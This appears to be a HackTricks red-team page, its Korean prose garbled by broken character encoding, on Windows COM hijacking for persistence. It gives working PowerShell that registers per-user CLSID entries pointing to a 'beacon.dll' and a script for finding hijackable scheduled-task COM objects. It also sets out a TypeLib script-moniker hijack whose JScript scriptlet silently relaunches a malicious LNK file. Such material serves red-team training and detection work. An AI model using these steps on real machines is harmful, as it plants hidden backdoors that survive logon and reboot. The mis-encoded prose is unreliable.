COM Hijacking

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์กด์žฌํ•˜์ง€ ์•Š๋Š” COM ๊ตฌ์„ฑ์š”์†Œ ๊ฒ€์ƒ‰

HKCU์˜ ๊ฐ’์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ COM Hijacking์€ **์˜๊ตฌ ์ง€์† ๋ฉ”์ปค๋‹ˆ์ฆ˜(persistent mechanism)**์œผ๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. procmon์„ ์‚ฌ์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ์ง€์†์„ฑ์„ ์œ„ํ•ด ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ์กด์žฌํ•˜์ง€ ์•Š๋Š” COM ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋ฅผ ์‰ฝ๊ฒŒ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•„ํ„ฐ:

  • RegOpenKey ์ž‘์—….
  • _Result_๊ฐ€ NAME NOT FOUND์ธ ํ•ญ๋ชฉ.
  • ๋ฐ _Path_๊ฐ€ InprocServer32๋กœ ๋๋‚˜๋Š” ํ•ญ๋ชฉ.

์–ด๋–ค ์กด์žฌํ•˜์ง€ ์•Š๋Š” COM์„ ๊ฐ€์žฅํ• ์ง€ ๊ฒฐ์ •ํ–ˆ์œผ๋ฉด ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์„ธ์š”. ๋ช‡ ์ดˆ๋งˆ๋‹ค ๋กœ๋“œ๋˜๋Š” COM์„ ๊ฐ€์žฅํ•˜๋ฉด ๊ณผ๋„ํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ ์ฃผ์˜ํ•˜์„ธ์š”.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Hijackable Task Scheduler COM components

Windows Tasks๋Š” Custom Triggers๋ฅผ ์‚ฌ์šฉํ•ด COM objects๋ฅผ ํ˜ธ์ถœํ•˜๋ฉฐ, Task Scheduler๋ฅผ ํ†ตํ•ด ์‹คํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์— ์–ธ์ œ ํŠธ๋ฆฌ๊ฑฐ๋ ์ง€ ์˜ˆ์ธกํ•˜๊ธฐ๊ฐ€ ๋” ์‰ฝ์Šต๋‹ˆ๋‹ค.

# Show COM CLSIDs
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

# Sample Output:
# Task Name:  Example
# Task Path:  \Microsoft\Windows\Example\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]

์ถœ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•˜๋ฉด ์˜ˆ๋ฅผ ๋“ค์–ด ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•  ๋•Œ๋งˆ๋‹ค ์‹คํ–‰๋˜๋Š” ํ•ญ๋ชฉ์„ ์„ ํƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์ œ CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**๋ฅผ HKEY\CLASSES\ROOT\CLSID ๋ฐ HKLM๊ณผ HKCU์—์„œ ๊ฒ€์ƒ‰ํ•˜๋ฉด, ์ผ๋ฐ˜์ ์œผ๋กœ ํ•ด๋‹น ๊ฐ’์ด HKCU์—๋Š” ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์„ ์•Œ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

๊ทธ๋Ÿฐ ๋‹ค์Œ HKCU ์—”ํŠธ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์˜จํ•  ๋•Œ๋งˆ๋‹ค ๋‹น์‹ ์˜ backdoor๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.


COM TypeLib Hijacking (script: moniker persistence)

Type Libraries (TypeLib)๋Š” COM ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์ •์˜ํ•˜๋ฉฐ LoadTypeLib()์„ ํ†ตํ•ด ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. COM ์„œ๋ฒ„๊ฐ€ ์ธ์Šคํ„ด์Šคํ™”๋  ๋•Œ, OS๋Š” HKCR\TypeLib\{LIBID} ์•„๋ž˜์˜ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค๋ฅผ ์ฐธ์กฐํ•˜์—ฌ ์—ฐ๊ด€๋œ TypeLib๋ฅผ ํ•จ๊ป˜ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. TypeLib ๊ฒฝ๋กœ๊ฐ€ moniker, ์˜ˆ: script:C:\...\evil.sct๋กœ ๋Œ€์ฒด๋˜๋ฉด TypeLib๊ฐ€ ํ•ด๊ฒฐ๋  ๋•Œ Windows๋Š” ์Šคํฌ๋ฆฝํ‹€๋ฆฟ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค โ€” ์ผ๋ฐ˜์ ์ธ ๊ตฌ์„ฑ ์š”์†Œ๊ฐ€ ํ˜ธ์ถœ๋  ๋•Œ ๋ฐœ๋™ํ•˜๋Š” ์€๋ฐ€ํ•œ persistence๋ฅผ ๋งŒ๋“ค๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ด๊ฒƒ์€ Microsoft Web Browser control์— ๋Œ€ํ•ด ๊ด€์ฐฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค(์ž์ฃผ Internet Explorer, WebBrowser๋ฅผ ์ž„๋ฒ ๋“œํ•œ ์•ฑ, ์‹ฌ์ง€์–ด explorer.exe์— ์˜ํ•ด ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค).

Steps (PowerShell)

  1. ์ž์ฃผ ํ˜ธ์ถœ๋˜๋Š” CLSID๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” TypeLib (LIBID)๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์‹œ๋กœ malware chains์—์„œ ์ž์ฃผ ์•…์šฉ๋˜๋Š” CLSID: {EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B} (Microsoft Web Browser).
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid  LIBID=$libid  VER=$ver"
  1. ์‚ฌ์šฉ์ž๋ณ„ TypeLib ๊ฒฝ๋กœ๋ฅผ script: ๋ชจ๋‹ˆ์ปค๋ฅผ ์‚ฌ์šฉํ•ด ๋กœ์ปฌ scriptlet์„ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์ง€์ • (๊ด€๋ฆฌ์ž ๊ถŒํ•œ ๋ถˆํ•„์š”):
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
  1. ๊ธฐ๋ณธ ํŽ˜์ด๋กœ๋“œ(์˜ˆ: ์ดˆ๊ธฐ ์ฒด์ธ์—์„œ ์‚ฌ์šฉ๋˜๋Š” .lnk)๋ฅผ ๋‹ค์‹œ ์‹คํ–‰ํ•˜๋Š” ์ตœ์†Œํ•œ์˜ JScript .sct๋ฅผ ๋“œ๋กญํ•ฉ๋‹ˆ๋‹ค:
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
  1. ํŠธ๋ฆฌ๊ฑฐ๋ง โ€“ IE๋ฅผ ์—ด๊ฑฐ๋‚˜, WebBrowser control์„ ์ž„๋ฒ ๋“œํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜, ๋˜๋Š” ์ผ๋ฐ˜์ ์ธ Explorer ํ™œ๋™๋งŒ์œผ๋กœ๋„ TypeLib๋ฅผ ๋กœ๋“œํ•˜๊ณ  scriptlet์„ ์‹คํ–‰ํ•˜์—ฌ logon/reboot ์‹œ chain์„ ์žฌ์žฅ์ „ํ•ฉ๋‹ˆ๋‹ค.

์ •๋ฆฌ

# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null

์ฐธ๊ณ 

  • ๋™์ผํ•œ ๋…ผ๋ฆฌ๋ฅผ ๋‹ค๋ฅธ ๊ณ ๋นˆ๋„ COM ๊ตฌ์„ฑ์š”์†Œ์—๋„ ์ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค; ํ•ญ์ƒ ๋จผ์ € HKCR\CLSID\{CLSID}\TypeLib์—์„œ ์‹ค์ œ LIBID๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
  • 64๋น„ํŠธ ์‹œ์Šคํ…œ์—์„œ๋Š” 64๋น„ํŠธ ์†Œ๋น„์ž๋ฅผ ์œ„ํ•ด win64 ํ•˜์œ„ ํ‚ค๋ฅผ ์ฑ„์šธ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ